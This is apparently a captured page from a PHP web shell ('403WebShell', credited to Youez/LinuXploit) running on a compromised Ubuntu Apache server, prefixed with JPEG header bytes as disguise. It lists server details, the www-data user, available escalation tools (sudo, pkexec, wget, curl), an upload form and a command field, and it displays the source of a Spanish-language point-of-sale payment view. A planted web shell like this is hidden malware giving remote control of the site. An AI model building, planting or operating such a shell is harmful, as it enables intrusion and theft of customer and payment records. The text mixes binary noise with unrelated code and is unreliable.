����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.128.190.205
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/t/sae/appsae/core/app/view/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/t/sae/appsae/core/app/view/onesell-view.php
<?php
$payment = PaymentData::getById($_GET["id"]);

//print_r($payment);

$client = PersonData::getById($payment->person_id);
$total = 0;
?>


	<div class="btn-group pull-right">
					  <button type="button" class="btn btn-default dropdown-toggle" data-toggle="dropdown">
						<i class="fa fa-download"></i> Ticket Abono<span class="caret"></span>
					  </button>
		 <ul class="dropdown-menu" role="menu">
				<li><a onclick="thePDF()" id="makepdf" class=""><i class="fa fa-download"></i> Descargar PDF</a>
			<button type="submit" class="btn btn-primary"><i class="glyphicon glyphicon-search"></i>Generar Factura</button>
		</ul>
	</div>
	
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title></title>
        <script type="text/javascript">
            function imprimir() {
                if (window.print) {
                    window.print();
                } else {
                    alert("La función de impresion no esta soportada por su navegador.");
                }
            }
        </script>
    </head>
    <body onload="imprimir();">	
	<br>
	<br>
	<br>
	<div class="row">
		<div class="col-md-5">
			<div class="box box-primary">
				<table class="table table-bordered">
					<h3 align="center">Resumen de Pago</h3>
				<tr>
				  <td style="width:50px;">Cliente:</td>
				  <td><?php echo $client->name." - ".$client->rfc;?></td>
				</tr>
				<tr>
				  <td style="width:50px;">Cajero:</td>
				  <td><?php  echo UserData::getById($_SESSION["user_id"])->name;?> </td>
				</tr>
				<tr>
				  
				</tr>
				</table>
			</div>
		</div>
	</div>	
	
	<div class="row">
		<div class="col-md-5">
			<div class="box box-primary">
				<table class="table table-bordered">
				  <tr>
					<td style="width:150px;">monto</td>
					 <th>Fecha</th>
				  </tr>
				  <tr>
					<td style="width:150px;"><?php echo number_format(abs($payment->val),2);?></td>
					 <th><?php echo $payment->created_at;?></th>
				  </tr>
			    </table>
			</div>
		</div>
	</div>
	
	<?php 
	//pagos o abonos
	$credit=PaymentData::sumByClientId($payment->person_id)->total;
	
	//total de ventas
	$sells = SellData::getByIdSaleClient($payment->person_id);
	
	//print_r($sells->total);
	?>
	<div class="row">
		<div class="col-md-5">
			<div class="box box-primary">
				<table class="table table-bordered">
				  <tr>
					<td style="width:150px;">saldo anterior</td>
					 <th>Saldo Actual</th>
				  </tr>
				  <tr>
					
					 <td>$ <?php echo number_format( $sells->total +( $credit+abs($payment->val) ) ,2,'.',','); ?></td>
					 <th style="width:150px;">$ <?php echo number_format( $sells->total +( $credit+abs($payment->val) + $payment->val ),2,'.',','); ?></th>
				  </tr>
			    </table>
			</div>
		</div>
	</div>
  
	</body>

Youez - 2016 - github.com/yon3zu
LinuXploit